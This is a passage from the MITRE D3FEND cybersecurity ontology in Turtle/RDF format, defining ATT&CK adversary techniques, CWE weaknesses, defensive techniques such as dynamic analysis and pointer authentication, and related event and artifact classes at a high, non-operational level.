1. Symbolic artifical intelligence. (2023, May 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Symbolic_artificial_intelligence)""" ;
    d3f:synonym "Symbolic Artificial Intelligence" ;
    rdfs:subClassOf d3f:SymbolicLogic .

d3f:T1003 a owl:Class ;
    rdfs:label "OS Credential Dumping" ;
    d3f:attack-id "T1003" ;
    d3f:definition "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information." ;
    rdfs:subClassOf d3f:CredentialAccessTechnique .

d3f:T1021 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Services" ;
    d3f:attack-id "T1021" ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user." ;
    d3f:produces d3f:IntranetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetNetworkTraffic ],
        d3f:LateralMovementTechnique .

d3f:T1053 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Scheduled Task/Job" ;
    d3f:attack-id "T1053" ;
    d3f:definition "The sub-techniques of this are specific software implementations of scheduling capabilities." ;
    d3f:executes d3f:ScheduledJob ;
    d3f:invokes d3f:CreateProcess ;
    d3f:modifies d3f:JobSchedule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ScheduledJob ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:JobSchedule ],
        d3f:ExecutionTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1552 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unsecured Credentials" ;
    d3f:accesses d3f:Credential ;
    d3f:attack-id "T1552" ;
    d3f:definition "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Credential ],
        d3f:CredentialAccessTechnique .

d3f:T1583 a owl:Class ;
    rdfs:label "Acquire Infrastructure" ;
    d3f:attack-id "T1583" ;
    d3f:definition "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase." ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:T1584 a owl:Class ;
    rdfs:label "Compromise Infrastructure" ;
    d3f:attack-id "T1584" ;
    d3f:definition "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage." ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:Vulnerability a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Vulnerability" ;
    d3f:definition "A Vulnerability is a publicly disclosed instance of one or more weaknesses in a product that an attacker could exploit, violating its confidentiality, integrity, or availability." ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:d3fend-data-property a owl:DatatypeProperty ;
    rdfs:label "d3fend-data-property" .

d3f:runs a owl:ObjectProperty ;
    rdfs:label "runs" ;
    d3f:definition "x runs y: To carry out a process or program y, as on a computer or a machine x; where y may be a large software assembly or a specific module or instruction.  Examples: \"run a new program on the Mac\"; \"the computer runs the application software\"." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/02569242-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-run .

d3f:semantic-relation a owl:ObjectProperty ;
    rdfs:label "semantic-relation" ;
    d3f:definition "x semantic-relation y: The entity x is conceptually or meaningfully connected to entity y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:spoofs a owl:ObjectProperty ;
    rdfs:label "spoofs" ;
    d3f:definition "x spoofs y: The technique x creates a fake instance of a digital artifact y; that is, y is a decoy, fake, or counterfeit." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Spoof>,
        <http://wordnet-rdf.princeton.edu/id/03323383-n> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:deceives-with .

d3f:ATLASDiscoveryTechnique a owl:Class ;
    rdfs:label "Discovery Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0008 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Discovery Technique" .

d3f:ATTACKICSDiscoveryTechnique a owl:Class ;
    rdfs:label "Discovery Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0102 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Discovery Technique" .

d3f:AccessMediation a d3f:AccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Mediation" ;
    d3f:d3fend-id "D3-AMED" ;
    d3f:definition "Access mediation is the process of granting or denying specific requests to: 1) obtain and use information and related information processing services; and 2) enter specific physical facilities (e.g., Federal buildings, military establishments, border crossing entrances). Access mediation decisions should enforce least privilege by granting access for scoped durations to prevent privilege creep and, where applicable, implement just-in-time (JIT) access. Denial decisions may prevent initial access or terminate access that has already been granted, ensuring continuous enforcement of security policies." ;
    d3f:enables d3f:Isolate ;
    d3f:kb-reference d3f:Reference-CNNSI-4009 ;
    d3f:synonym "Access Control" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Access_control>,
        <https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=1451869>,
        <https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.201-2.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v1r1.pdf>,
        <https://www.cs.cmu.edu/afs/cs/usr/bsy/security/CSC-STD-001-83.txt> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Isolate ],
        d3f:DefensiveTechnique .

d3f:ApplicationConfigurationHardening a d3f:ApplicationConfigurationHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Configuration Hardening" ;
    d3f:d3fend-id "D3-ACH" ;
    d3f:definition "Modifying an application's configuration to reduce its attack surface." ;
    d3f:hardens d3f:ApplicationConfiguration ;
    d3f:kb-article """## How it works
Application configuration settings can be configured to limit the permissions on an application or disable certain vulnerable application features.

Hardening an application's configuration involves analyzing not only the application but also the environment in which the application is run in for potential vulnerabilities.""" ;
    d3f:kb-reference d3f:Reference-RedHatEnterpriseLinux8SecurityTechnicalImplementationGuide,
        d3f:Reference-Windows10STIG ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:ApplicationHardening .

d3f:ApplicationEvent a owl:Class ;
    rdfs:label "Application Event" ;
    d3f:definition "An event that captures the behavior, state, or interactions of software applications or services operating within a system. Application events encompass lifecycle changes, configuration updates, and operational anomalies, providing insight into the health and performance of software components." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/application_lifecycle> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Application ],
        d3f:DigitalEvent .

d3f:ApplicationLayerEvent a owl:Class ;
    rdfs:label "Application Layer Event" ;
    d3f:definition "An event occurring at the application layer, involving protocols that support application-specific communication." ;
    rdfs:subClassOf d3f:NetworkEvent .

d3f:AuthenticationEventThresholding a d3f:AuthenticationEventThresholding,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Event Thresholding" ;
    d3f:analyzes d3f:Authentication ;
    d3f:created "2020-08-05T00:00:00"^^xsd:dateTime ;
    d3f:d3fend-id "D3-ANET" ;
    d3f:definition "Collecting authentication events, creating a baseline user profile, and determining whether authentication events are consistent with the baseline profile." ;
    d3f:kb-article """## How it works
Authentication event data is collected (logon information such as device id, time of day, day of week, geo-location, etc.) to create an activity baseline. Then, a threshold is determined either through a manually specified configuration, or a statistical analysis of deviations in historical data. New authentication events are evaluated to determine if a threshold is exceeded. Thresholds can be static or dynamic.

### Actions
As a result of the analysis, actions taken could include:

* [Account Locking](/technique/d3f:AccountLocking)
* Raising an alert

### Example data sources
 * Directory server logs
 * VPN Server logs
 * IDAM Capability logs
 * NAC logs
 * Authentication client logs
 * Kerberos network traffic
 * LDAP network traffic

## Considerations

This technique covers statistical outliers. Though depending on the complexity or dimensionality of the data considered, outliers may not be obvious to a human analyst reviewing events in simplistic analytic views. If the malicious activity is not statistically different from benign activity, an alert threshold will not be met.""" ;
    d3f:kb-reference d3f:Reference-MethodAndApparatusForNetworkFraudDetectionAndRemediationThroughAnalytics_IdaptiveLLC,
        d3f:Reference-SimultaneousLoginsOnAHost_MITRE,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-System,Method,AndComputerProgramProductForDetectingAndAssessingSecurityRisksInANetwork_ExabeamInc>,
        d3f:Reference-UserLoggedInToMultipleHosts_MITRE,
        d3f:Reference-UserLoginActivityMonitoring_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:UserBehaviorAnalysis .

d3f:CWE-20 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Input Validation" ;
    d3f:cwe-id "CWE-20" ;
    d3f:definition "The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly." ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-707 .

d3f:CWE-697 a owl:Class ;
    rdfs:label "Incorrect Comparison" ;
    d3f:cwe-id "CWE-697" ;
    d3f:definition "The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses." ;
    rdfs:subClassOf d3f:Weakness .

d3f:CWE-74 a owl:Class ;
    rdfs:label "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')" ;
    d3f:cwe-id "CWE-74" ;
    d3f:definition "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:CWE-923 a owl:Class ;
    rdfs:label "Improper Restriction of Communication Channel to Intended Endpoints" ;
    d3f:cwe-id "CWE-923" ;
    d3f:definition "The product establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:DatabaseQuery a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Query" ;
    d3f:definition "A specific query expressed in SQL, SPARQL, or similar language against a database." ;
    d3f:queries d3f:Database ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:queries ;
            owl:someValuesFrom d3f:Database ],
        d3f:Command .

d3f:DynamicAnalysis a d3f:DynamicAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dynamic Analysis" ;
    d3f:analyzes d3f:DocumentFile,
        d3f:ExecutableFile ;
    d3f:d3fend-id "D3-DA" ;
    d3f:definition "Executing or opening a file in a synthetic \"sandbox\" environment to determine if the file is a malicious program or if the file exploits another program such as a document reader." ;
    d3f:kb-article """## How it works
Analyzing the interaction of a piece of code with a system while the code is being executed in a controlled environment such as a sandbox, virtual machine, or simulator. This exposes the natural behavior of the piece of code without requiring the code to be disassembled.

## Considerations
 * Malware often detects a fake environment, then changes its behavior accordingly. For example, it could detect that the system clock is being sped up in an effort to get it to execute commands that it would normally only execute at a later time, or that the hardware manufacturer of the machine is a virtualization provider.
 * Malware can attempt to determine if it is being debugged, and change its behavior accordingly.
 * For maximum fidelity, the simulated and real environments should be as similar as possible because the malware could perform differently in different environments.
 * Sometimes the malware behavior is triggered only under certain conditions (on a specific system date, after a certain time, or after it is sent a specific command) and can't be detected through a short execution in a virtual environment.

## Implementations
* Cuckoo Sandbox""" ;
    d3f:kb-reference d3f:Reference-MalwareAnalysisSystem_PaloAltoNetworksInc,
        d3f:Reference-UseOfAnApplicationControllerToMonitorAndControlSoftwareFileAndApplicationEnvironments_SophosLtd ;
    d3f:synonym "Malware Detonation",
        "Malware Sandbox" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:DocumentFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:FileAnalysis .

d3f:EncryptedCredential a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Encrypted Credential" ;
    d3f:definition "A credential that is encrypted." ;
    rdfs:subClassOf d3f:Credential .

d3f:FileCreationEvent a owl:Class ;
    rdfs:label "File Creation Event" ;
    d3f:definition "An event representing the creation of a new file within the system, establishing its existence and initial attributes in the file system or storage medium." ;
    rdfs:subClassOf d3f:FileEvent .

d3f:FileMetadata a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Metadata" ;
    d3f:definition "Information that describes and provides context about a file's content, structure, and attributes." ;
    rdfs:subClassOf d3f:Metadata .

d3f:FileSection a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Section" ;
    d3f:definition "A file section is one of the portions of a file in which the file is regarded as divided and where together the file sections constitute the whole file." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/05876035-n> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "File Part" .

d3f:HTTPRequestEvent a owl:Class ;
    rdfs:label "HTTP Request Event" ;
    d3f:definition "An event where an HTTP request is sent from a client to a server over an established TCP connection." ;
    rdfs:subClassOf d3f:HTTPEvent .

d3f:HardwareDeviceEvent a owl:Class ;
    rdfs:label "Hardware Device Event" ;
    d3f:definition "An event capturing the existence, state, or interaction of hardware or virtual devices within a system. Device events encompass activities such as discovery, connection, disconnection, operational state changes, or configuration modifications, providing visibility into device behavior and health." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:HardwareDevice ],
        d3f:DigitalEvent .

d3f:Log a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Log" ;
    d3f:definition "A record of events in the order of their occurrence." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/06515215-n> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Chronology> ;
    rdfs:subClassOf d3f:D3FENDCore,
        d3f:DigitalInformationBearer ;
    skos:altLabel "Chronology" .

d3f:Pointer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pointer" ;
    d3f:definition "In computer science, a pointer is a programming language object, whose value refers to (or \"points to\") another value stored elsewhere in the computer memory using its memory address. A pointer references a location in memory, and obtaining the value stored at that location is known as dereferencing the pointer. As an analogy, a page number in a book's index could be considered a pointer to the corresponding page; dereferencing such a pointer would be done by flipping to the page with the given page number." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Pointer_(computer_programming)> ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:PointerAuthentication a d3f:PointerAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pointer Authentication" ;
    d3f:authenticates d3f:Pointer ;
    d3f:d3fend-id "D3-PAN" ;
    d3f:definition "Comparing the cryptographic hash or derivative of a pointer's value to an expected value." ;
    d3f:kb-article """## How It Works

Pointer Authentication (frequently referred to as PAC, although the technique is properly Pointer Authentication) is a security feature to provide protection against attackers with memory read/write access.  A Pointer Authentication Code (PAC) is a cryptographic hash or derivative computed on the value of a pointer and some additional context information which can then provide a cryptographically strong guarantee about the likelihood that a pointer has been tampered with by an attacker.

Although pointers are 64 bits, most systems have a substantially smaller virtual address space, leaving unused bits in pointers that can store the value of the PAC, this can be done to reduce memory space requirements. One implementation is in ARMv8.3-A.  A PAC is computed over the 64-bit pointer value and a 64-bit context value.  Instructions are introduced to deal with pointers: one category to compute and insert the PAC into a pointer, another category to verify the pointer and invalidate the pointer if the PAC does not check, and a third category to remove the pointer and restore the original value without verifying.

The ARM standard specifies a cryptographic algorithm called QARMA-64 (designed by Qualcomm) to compute the signature, although this algorithm is not required.  The architecture provides for five secret 128-bit Pointer Authentication keys: two for instruction pointers, two for data pointers, and a general key for signing larger blocks of data.

## Considerations

In the ARM implementation, the mechanisms above for manipulating PACS are provided, but it is up to the code developer to manage the keys for the cryptographic algorithm.


A known potential limitation of PACs concerns signing gadgets. Under certain circumstances PACs can be bypassed by forcing the system to run a signing gadget which will allow the signing of arbitrary pointers to occur.""" ;
    d3f:kb-reference d3f:Reference-PointerAuthenticationOnARMv8.3,
        d3f:Reference-PointerAuthenticationProjectZero ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:Pointer ],
        d3f:ApplicationHardening .

d3f:REC-0001 a owl:Class ;
    rdfs:label "Gather Spacecraft Design Information - SPARTA" ;
    d3f:attack-id "REC-0001" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's design that can be used for future campaigns or to help perpetuate other techniques. Information about the spacecraft can include software, firmware, encryption type, purpose, as well as various makes and models of subsystems." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather Spacecraft Design Information" .

d3f:RPCTrafficAnalysis a d3f:RPCTrafficAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "RPC Traffic Analysis" ;
    d3f:analyzes d3f:RPCNetworkTraffic ;
    d3f:d3fend-id "D3-RTA" ;
    d3f:definition "Monitoring the activity of remote procedure calls in communication traffic to establish standard protocol operations and potential attacker activities." ;
    d3f:kb-article """## How it works
A remote procedure call (RPC) enables one computer to execute a specific function on another computer, as if it were a local application process. There are numerous RPC specifications and implementations. RPC capabilities can be abused by attackers in order to achieve a variety of tactical objectives including execution, persistence, initial access, and more. RPC proxies may be used to collect and store RPC traffic. RPCs can occur over network sockets or named pipes.

Analytics look for unauthorized behavior such as:

* Processes being launched or scheduled remotely
* System configurations being changed remotely
* Unauthorized file read activity

Example RPC Protocols:

* DCE/RPC
* CORBA
* Open Network Computing Remote Procedure Call
* D-Bus
* XML-RPC
* JSON-RPC
* SOAP
* Apache Thrift

## Considerations
* RPC is widely used in enterprise environments, and significant data filtering may be required in large environments to enable analytic processing.
* RPC traffic may occur over a pipe, or within a host over loopback interface, thus making network collection difficult.""" ;
    d3f:kb-reference d3f:Reference-CAR-2014-05-001%3ARPCActivity_MITRE,
        d3f:Reference-CAR-2014-11-007-RemoteWindowsManagementInstrumentation_WMI_OverRPC_MITRE,
        d3f:Reference-CreateRemoteProcessViaWMIC_MITRE_Other,
        d3f:Reference-RPCCallInterception_CrowdstrikeInc,
        d3f:Reference-RemotelyLaunchedExecutablesViaServices_MITRE,
        d3f:Reference-RemotelyLaunchedExecutablesViaWMI_MITRE,
        d3f:Reference-RemotelyScheduledTasksViaSchtasks_MITRE,
        d3f:Reference-SMBWriteRequest-NamedPipes_MITRE ;
    d3f:synonym "RPC Protocol Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:RPCNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:ResourceAccessPatternAnalysis a d3f:ResourceAccessPatternAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Access Pattern Analysis" ;
    d3f:analyzes d3f:Authentication,
        d3f:Authorization ;
    d3f:d3fend-id "D3-RAPA" ;
    d3f:definition "Analyzing the resources accessed by a user to identify unauthorized activity." ;
    d3f:kb-article """## How it works
This technique analyzes a user's resource accesses by comparing the user's recent activity against a baseline activity model. Major differences between the current activity and the baseline model might indicate unauthorized activity if they are severe enough.


## Considerations
* Potential for false positives from anomalies that are not associated with malicious activity.
* Attackers that move low and slow may not differentiate their resource access activity behavior enough to trigger an alert.""" ;
    d3f:kb-reference d3f:Reference-HostIntrusionPreventionSystemUsingSoftwareAndUserBehaviorAnalysis_SophosLtd,
        d3f:Reference-MethodAndApparatusForNetworkFraudDetectionAndRemediationThroughAnalytics_IdaptiveLLC,
        d3f:Reference-ModelingUserAccessToComputerResources_DaedalusGroupLLC,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-System,Method,AndComputerProgramProductForDetectingAndAssessingSecurityRisksInANetwork_ExabeamInc>,
        d3f:Reference-SystemAndMethodThereofForIdentifyingAndRespondingToSecurityIncidentsBasedOnPreemptiveForensics_PaloAltoNetworksInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authorization ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:UserBehaviorAnalysis .

d3f:SPARTAReconnaissanceTechnique a owl:Class ;
    rdfs:label "Reconnaissance Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0001 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Reconnaissance Technique" .

d3f:SPARTATechnique a owl:Class ;
    rdfs:label "SPARTA Technique" ;
    d3f:definition "SPARTA Techniques represent 'how' a threat actor achieves a tactical goal by performing a threat action." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/SPARTA> ;
    rdfs:subClassOf d3f:SPARTAThing .

d3f:SystemDaemonMonitoring a d3f:SystemDaemonMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Daemon Monitoring" ;
    d3f:d3fend-id "D3-SDM" ;
    d3f:definition "Tracking changes to the state or configuration of critical system level processes." ;
    d3f:kb-article """## How it works
Attackers may manipulate system settings or services to disable system logging or monitoring of security tools and events. Firewall and antivirus services are popular targets for attackers. Disabling system logs will also allow an attacker's actions to go unnoticed. Analysis of logs, registries, and process monitoring help defenders locate signs of tampering. Two possible approaches are to monitor hardened system services or to monitor registry updates for modifications to security settings.""" ;
    d3f:kb-reference d3f:Reference-HostIntrusionPreventionSystemUsingSoftwareAndUserBehaviorAnalysis_SophosLtd,
        d3f:Reference-MethodUsingKernelModeAssistanceForTheDetectionAndRemovalOfThreatsWhichAreActivelyPreventingDetectionAndRemovalFromARunningSystem_SymantecCorporation,
        d3f:Reference-UserActivityFromStoppingWindowsDefensiveServices_MITRE ;
    d3f:monitors d3f:OperatingSystemProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:OperatingSystemProcess ],
        d3f:OperatingSystemMonitoring .

d3f:T1556 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Modify Authentication Process" ;
    d3f:attack-id "T1556" ;
    d3f:definition "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078)." ;
    d3f:modifies d3f:AuthenticationService ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AuthenticationService ],
        d3f:CredentialAccessTechnique,
        d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique .

d3f:UserAccountCreationEvent a owl:Class ;
    rdfs:label "User Account Creation Event" ;
    d3f:definition "An event representing the creation of a new user account within a system or domain." ;
    rdfs:subClassOf d3f:UserAccountEvent .

d3f:WindowsRegistryKeyEvent a owl:Class ;
    rdfs:label "Windows Registry Key Event" ;
    d3f:definition "Events representing actions performed on Windows Registry keys, such as creation, modification, or deletion, which define hierarchical nodes for storing configuration data." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/win/registry_key_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:WindowsRegistryKey ],
        d3f:WindowsRegistryEvent .

d3f:restores a owl:ObjectProperty ;
    rdfs:label "restores" ;
    d3f:definition "x restores y: The entity x returns entity y to its known-good or previous state." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:ATLASDefenseEvasionTechnique a owl:Class ;
    rdfs:label "Defense Evasion Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0007 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Defense Evasion Technique" .

d3f:ATTACKMobileDiscoveryTechnique a owl:Class ;
    rdfs:label "Discovery Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0032 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Discovery Technique" .

d3f:BootSector a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Boot Sector" ;
    d3f:definition "A boot record [boot sector] is the sector of a persistent data storage device (e.g., hard disk, floppy disk, optical disc, etc.) which contains machine code to be loaded into random-access memory (RAM) and then executed by a computer system's built-in firmware (e.g., the BIOS, Das U-Boot, etc.)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Boot_sector> ;
    rdfs:subClassOf d3f:BootRecord .

d3f:CWE-285 a owl:Class ;
    rdfs:label "Improper Authorization" ;
    d3f:cwe-id "CWE-285" ;
    d3f:definition "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action." ;
    d3f:synonym "AuthZ" ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:Certificate a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate" ;
    d3f:contains d3f:Identifier,
        d3f:PublicKey ;
    d3f:definition "In cryptography, a public key certificate, also known as a digital certificate or identity certificate, is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. In email encryption, code signing, and e-signature systems, a certificate's subject is typically a person or organization. However, in Transport Layer Security (TLS) a certificate's subject is typically a computer or other device." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Public_key_certificate> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/certificate> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:PublicKey ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Identifier ],
        d3f:DigitalInformationBearer ;
    skos:altLabel "Public Key Certificate" .

d3f:CredentialHardening a d3f:CredentialHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Hardening" ;
    d3f:d3fend-id "D3-CH" ;
    d3f:definition "Credential Hardening techniques modify system or network properties in order to protect system or network/domain credentials." ;
    d3f:enables d3f:Harden ;
    d3f:hardens d3f:Credential ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:Credential ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Harden ],
        d3f:DefensiveTechnique .

d3f:DecoyObject a d3f:DecoyObject,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Object" ;
    d3f:d3fend-id "D3-DO" ;
    d3f:definition "A Decoy Object is created and deployed for the purposes of deceiving attackers." ;
    d3f:enables d3f:Deceive ;
    d3f:kb-article """## Technique Overview
Decoy objects are typically configured with detectable means of communication but do not have any legitimate business purpose. Any communication via or to these objects should be logged and analyzed to find potential indicators of compromise for a possible past or future attack against other systems.""" ;
    d3f:synonym "Lure" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Deceive ],
        d3f:DefensiveTechnique .

d3f:DigitalArtifact a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Artifact" ;
